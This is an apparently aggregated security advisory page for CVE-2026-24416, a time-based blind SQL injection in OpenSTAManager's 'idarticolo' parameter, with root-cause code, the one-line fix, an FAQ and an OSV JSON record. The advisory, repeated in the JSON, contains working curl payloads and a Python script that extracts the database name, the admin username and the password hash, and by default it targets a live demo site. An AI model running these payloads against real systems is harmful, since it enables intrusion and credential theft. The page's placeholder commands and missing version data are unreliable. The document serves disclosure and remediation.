CVE-2026-24416: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-p864-fqgv-92q4
CWE-89
Published
Advisory Summary

CVE-2026-24416 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a time-based blind sql injection in article pricing module. Remediation is available in the latest vendor maintenance releases.

CVE-2026-24416 at a Glance

CVE Identifier CVE-2026-24416
GHSA Identifier GHSA-p864-fqgv-92q4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-24416

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24416, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Critical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) end [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7) **Vulnerable Parameter:** `idarticolo` (GET) **Affected Endpoint:** `/ajax_complete.php?op=getprezzi` **Affected Module:** Articoli (Articles/Products) ### Details OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the `idarticolo` parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference. **Vulnerability Chain:** 1. **Entry Point:** `/ajax_complete.php` (Line 27) ```php $op = get('op'); $result = AJAX::complete($op); ``` The `op` parameter is retrieved but the vulnerability lies in other parameters. 2. **Distribution:** `/src/AJAX.php::complete()` (Line 189) ```php $result = self::getCompleteResults($file, $resource); ``` 3. **Execution:** `/src/AJAX.php::getCompleteResults()` (Line 402) ```php require $file; ``` Module-specific complete.php files are included. 4. **Vulnerable Parameter:** `/modules/articoli/ajax/complete.php` (Line 26) ```php $idarticolo = get('idarticolo'); ``` The `idarticolo` parameter is retrieved from GET request. 5. **Vulnerable SQL Query:** `/modules/articoli/ajax/complete.php` (Line 70) **PRIMARY VULNERABILITY** ```php FROM `dt_righe_ddt` INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt` INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt` WHERE `idarticolo`='.$idarticolo.' AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).' ``` **Impact:** Direct concatenation of `$idarticolo` without `prepare()`, while `$idanagrafica` is properly sanitized. **Context - Full Query Structure (Lines 39-74):** The vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes: ```php $documenti = $dbo->fetchArray(' SELECT `iddocumento` AS id, "Fattura" AS tipo, "Fatture di vendita" AS modulo, (`subtotale`-`sconto`)/`qta` AS costo_unitario, ... FROM `co_righe_documenti` INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento` INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento` WHERE `idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54) UNION SELECT `idddt` AS id, "Ddt" AS tipo, ... FROM `dt_righe_ddt` INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt` INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt` WHERE `idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70) `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).' ORDER BY `id` DESC LIMIT 0,5'); ``` **Root Cause:** Developer used `prepare()` correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern. ### PoC **Step 1: Login** ```bash curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Time-Based SLEEP)** ```bash # Test with SLEEP(10) time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \ > /dev/null # Result: real 0m10.32s (10.32 seconds) # Test with SLEEP(3) - should take ~3 seconds time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \ > /dev/null # Result: real 0m3.36s (3.36 seconds) # Test without SLEEP time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \ > /dev/null # Result: real 0m0.31s (0.31 seconds) ``` <img width="1123" height="536" alt="image" src="https://github.com/user-attachments/assets/4f5c56d8-db60-44dd-a52c-35314be4b4ed" /> **Step 3: Data Extraction - Database Name** ```bash # Extract first character of database name # Test if first char is 'o' (expected: TRUE for 'openstamanager') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m2.34s (SLEEP executed - condition TRUE) # Test if first char is 'x' (expected: FALSE) time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m0.31s (SLEEP not executed - condition FALSE) # Extract second character (expected: 'p') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m2.34s (SLEEP executed - confirms second char is 'p') # Extract first 3 characters (expected: 'ope') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m2.33s (SLEEP executed - confirms 'ope...') ``` **Step 4: Extract Sensitive Data - Admin Credentials** ```bash # Extract admin username (test if first 5 chars are 'admin') time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m2.33s (SLEEP executed - confirms admin username) # Extract first character of password hash (expected: '$' for bcrypt) time curl -s -b /tmp/cookies.txt \ "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \ > /dev/null # Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format) ``` **Payload Explanation:** ``` Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a) Injection breakdown: 1. 1 - Valid article ID 2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test 3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true SQL Query Result: WHERE `idarticolo`=1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`=1 ``` **Automated Extraction Script Example:** ```python import requests import time import string import sys # Default Configuration BASE_URL = "https://demo.osmbusiness.it" USERNAME = "demo" PASSWORD = "demodemo1" SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance def login(session, base_url, user, pwd): """Authenticates to the application and maintains session.""" login_url = f"{base_url}/index.php?op=login" data = {"username": user, "password": pwd} print(f"[*] Attempting login to: {login_url}...") try: response = session.post(login_url, data=data, timeout=10) # Check if login was successful (usually indicated by presence of logout link or redirect) if "logout" in response.text.lower() or response.status_code == 200: print("[+] Login successful!") return True else: print("[-] Login failed. Please check credentials.") return False except Exception as e: print(f"[!] Connection error: {e}") return False def extract_data(session, base_url, sql_query, label="Data"): """Extracts data character by character until the end of the string is reached.""" print(f"\n[*] Extracting: {label}...") result = "" position = 1 target_endpoint = f"{base_url}/ajax_complete.php" # Charset optimized for database names and bcrypt hashes ($, ., /) charset = string.ascii_letters + string.digits + "$./" + string.punctuation while True: found_char = False for char in charset: # Payload: If the condition is true, the server sleeps for SLEEP_TIME # Using ORD() and SUBSTRING() to handle various character types safely payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)" params = { "op": "getprezzi", "idanagrafica": "1", "idarticolo": payload } try: start_time = time.time() session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10) elapsed = time.time() - start_time if elapsed >= SLEEP_TIME: result += char found_char = True sys.stdout.write(f"\r[+] {label} [{position}]: {result}") sys.stdout.flush() break except requests.exceptions.RequestException: # Handle network jitter/timeouts by retrying or continuing continue # If no character from charset triggered a sleep, we've reached the end of the data if not found_char: print(f"\n[!] End of string or no data found at position {position}.") break position += 1 return result def main(): s = requests.Session() # Allow target URL to be passed as a command line argument target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL if login(s, target, USERNAME, PASSWORD): # 1. Database name extraction db = extract_data(s, target, "SELECT DATABASE()", "Database Name") # 2. Admin username extraction user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)") # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically) pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash") print(f"\n\n{'='*35}") print(f" FINAL REPORT") print(f"{'='*35}") print(f"Target URL: {target}") print(f"Database: {db}") print(f"Username: {user}") print(f"Hash: {pwd_hash}") print(f"{'='*35}") if __name__ == "__main__": main() ``` <img width="674" height="476" alt="image" src="https://github.com/user-attachments/assets/24173485-55a0-4224-9746-48786704bb73" /> ### Impact **Affected Users:** All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders). **Recommended Fix:** **File:** `/modules/articoli/ajax/complete.php` **BEFORE (Vulnerable - Line 70):** ```php WHERE `idarticolo`='.$idarticolo.' AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).' ``` **AFTER (Fixed):** ```php WHERE `idarticolo`='.prepare($idarticolo).' AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).' ``` ### Credits Discovered by Łukasz Rybak

CVE-2026-24416 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2026-24416?
CVE-2026-24416 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-24416?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-24416?
CVE-2026-24416 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-24416?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p864-fqgv-92q4",
  "modified" : "2026-02-06T21:42:19Z",
  "published" : "2026-02-06T18:19:51Z",
  "aliases" : [ "CVE-2026-24416" ],
  "summary" : "OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module",
  "details" : "### Summary\n\nCritical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8) end [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7)\n**Vulnerable Parameter:** `idarticolo` (GET)\n**Affected Endpoint:** `/ajax_complete.php?op=getprezzi`\n**Affected Module:** Articoli (Articles/Products)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the `idarticolo` parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/ajax_complete.php` (Line 27)\n   ```php\n   $op = get('op');\n   $result = AJAX::complete($op);\n   ```\n   The `op` parameter is retrieved but the vulnerability lies in other parameters.\n\n2. **Distribution:** `/src/AJAX.php::complete()` (Line 189)\n   ```php\n   $result = self::getCompleteResults($file, $resource);\n   ```\n\n3. **Execution:** `/src/AJAX.php::getCompleteResults()` (Line 402)\n   ```php\n   require $file;\n   ```\n   Module-specific complete.php files are included.\n\n4. **Vulnerable Parameter:** `/modules/articoli/ajax/complete.php` (Line 26)\n   ```php\n   $idarticolo = get('idarticolo');\n   ```\n   The `idarticolo` parameter is retrieved from GET request.\n\n5. **Vulnerable SQL Query:** `/modules/articoli/ajax/complete.php` (Line 70) **PRIMARY VULNERABILITY**\n   ```php\n   FROM\n       `dt_righe_ddt`\n       INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n       INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n   WHERE\n       `idarticolo`='.$idarticolo.' AND\n       `dt_tipiddt`.`dir`=\"entrata\" AND\n       `idanagrafica`='.prepare($idanagrafica).'\n   ```\n   **Impact:** Direct concatenation of `$idarticolo` without `prepare()`, while `$idanagrafica` is properly sanitized.\n\n**Context - Full Query Structure (Lines 39-74):**\n\nThe vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:\n\n```php\n$documenti = $dbo->fetchArray('\n    SELECT\n        `iddocumento` AS id,\n        \"Fattura\" AS tipo,\n        \"Fatture di vendita\" AS modulo,\n        (`subtotale`-`sconto`)/`qta` AS costo_unitario,\n        ...\n    FROM\n        `co_righe_documenti`\n        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`\n        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`\n    WHERE\n        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)\nUNION\n    SELECT\n        `idddt` AS id,\n        \"Ddt\" AS tipo,\n        ...\n    FROM\n        `dt_righe_ddt`\n        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n    WHERE\n        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)\n        `dt_tipiddt`.`dir`=\"entrata\" AND\n        `idanagrafica`='.prepare($idanagrafica).'\nORDER BY\n    `id` DESC LIMIT 0,5');\n```\n\n**Root Cause:** Developer used `prepare()` correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Time-Based SLEEP)**\n```bash\n# Test with SLEEP(10)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)\" \\\n  > /dev/null\n# Result: real 0m10.32s (10.32 seconds)\n\n# Test with SLEEP(3) - should take ~3 seconds\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)\" \\\n  > /dev/null\n# Result: real 0m3.36s (3.36 seconds)\n\n# Test without SLEEP\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1\" \\\n  > /dev/null\n# Result: real 0m0.31s (0.31 seconds)\n```\n<img width=\"1123\" height=\"536\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f5c56d8-db60-44dd-a52c-35314be4b4ed\" />\n\n**Step 3: Data Extraction - Database Name**\n```bash\n# Extract first character of database name\n# Test if first char is 'o' (expected: TRUE for 'openstamanager')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m2.34s (SLEEP executed - condition TRUE)\n\n# Test if first char is 'x' (expected: FALSE)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m0.31s (SLEEP not executed - condition FALSE)\n\n# Extract second character (expected: 'p')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')\n\n# Extract first 3 characters (expected: 'ope')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')\n```\n\n**Step 4: Extract Sensitive Data - Admin Credentials**\n```bash\n# Extract admin username (test if first 5 chars are 'admin')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms admin username)\n\n# Extract first character of password hash (expected: '$' for bcrypt)\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n  > /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)\n```\n\n**Payload Explanation:**\n```\nOriginal payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\nURL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\n\nInjection breakdown:\n1. 1 - Valid article ID\n2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test\n3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true\n\nSQL Query Result:\nWHERE\n    `idarticolo`=1\n    AND SUBSTRING(DATABASE(),1,1)='o'\n    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\n    AND `dt_tipiddt`.`dir`=\"entrata\"\n    AND `idanagrafica`=1\n```\n\n**Automated Extraction Script Example:**\n```python\nimport requests\nimport time\nimport string\nimport sys\n\n# Default Configuration\nBASE_URL = \"https://demo.osmbusiness.it\"\nUSERNAME = \"demo\"\nPASSWORD = \"demodemo1\"\nSLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance\n\ndef login(session, base_url, user, pwd):\n    \"\"\"Authenticates to the application and maintains session.\"\"\"\n    login_url = f\"{base_url}/index.php?op=login\"\n    data = {\"username\": user, \"password\": pwd}\n    \n    print(f\"[*] Attempting login to: {login_url}...\")\n    try:\n        response = session.post(login_url, data=data, timeout=10)\n        # Check if login was successful (usually indicated by presence of logout link or redirect)\n        if \"logout\" in response.text.lower() or response.status_code == 200:\n            print(\"[+] Login successful!\")\n            return True\n        else:\n            print(\"[-] Login failed. Please check credentials.\")\n            return False\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return False\n\ndef extract_data(session, base_url, sql_query, label=\"Data\"):\n    \"\"\"Extracts data character by character until the end of the string is reached.\"\"\"\n    print(f\"\\n[*] Extracting: {label}...\")\n    result = \"\"\n    position = 1\n    target_endpoint = f\"{base_url}/ajax_complete.php\"\n    \n    # Charset optimized for database names and bcrypt hashes ($, ., /)\n    charset = string.ascii_letters + string.digits + \"$./\" + string.punctuation\n\n    while True:\n        found_char = False\n        for char in charset:\n            # Payload: If the condition is true, the server sleeps for SLEEP_TIME\n            # Using ORD() and SUBSTRING() to handle various character types safely\n            payload = f\"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)\"\n            \n            params = {\n                \"op\": \"getprezzi\",\n                \"idanagrafica\": \"1\",\n                \"idarticolo\": payload\n            }\n\n            try:\n                start_time = time.time()\n                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)\n                elapsed = time.time() - start_time\n\n                if elapsed >= SLEEP_TIME:\n                    result += char\n                    found_char = True\n                    sys.stdout.write(f\"\\r[+] {label} [{position}]: {result}\")\n                    sys.stdout.flush()\n                    break\n            except requests.exceptions.RequestException:\n                # Handle network jitter/timeouts by retrying or continuing\n                continue\n\n        # If no character from charset triggered a sleep, we've reached the end of the data\n        if not found_char:\n            print(f\"\\n[!] End of string or no data found at position {position}.\")\n            break\n            \n        position += 1\n        \n    return result\n\ndef main():\n    s = requests.Session()\n    \n    # Allow target URL to be passed as a command line argument\n    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL\n    \n    if login(s, target, USERNAME, PASSWORD):\n        # 1. Database name extraction\n        db = extract_data(s, target, \"SELECT DATABASE()\", \"Database Name\")\n        \n        # 2. Admin username extraction\n        user = extract_data(s, target, \"SELECT username FROM zz_users WHERE id=1\", \"Admin Username (id=1)\")\n        \n        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)\n        pwd_hash = extract_data(s, target, \"SELECT password FROM zz_users WHERE id=1\", \"Password Hash\")\n\n        print(f\"\\n\\n{'='*35}\")\n        print(f\"         FINAL REPORT\")\n        print(f\"{'='*35}\")\n        print(f\"Target URL: {target}\")\n        print(f\"Database:   {db}\")\n        print(f\"Username:   {user}\")\n        print(f\"Hash:       {pwd_hash}\")\n        print(f\"{'='*35}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n<img width=\"674\" height=\"476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/24173485-55a0-4224-9746-48786704bb73\" />\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).\n\n**Recommended Fix:**\n\n**File:** `/modules/articoli/ajax/complete.php`\n\n**BEFORE (Vulnerable - Line 70):**\n```php\nWHERE\n    `idarticolo`='.$idarticolo.' AND\n    `dt_tipiddt`.`dir`=\"entrata\" AND\n    `idanagrafica`='.prepare($idanagrafica).'\n```\n\n**AFTER (Fixed):**\n```php\nWHERE\n    `idarticolo`='.prepare($idarticolo).' AND\n    `dt_tipiddt`.`dir`=\"entrata\" AND\n    `idanagrafica`='.prepare($idanagrafica).'\n```\n\n### Credits\nDiscovered by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24416"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T18:19:51Z",
    "nvd_published_at" : "2026-02-06T19:16:08Z"
  }
}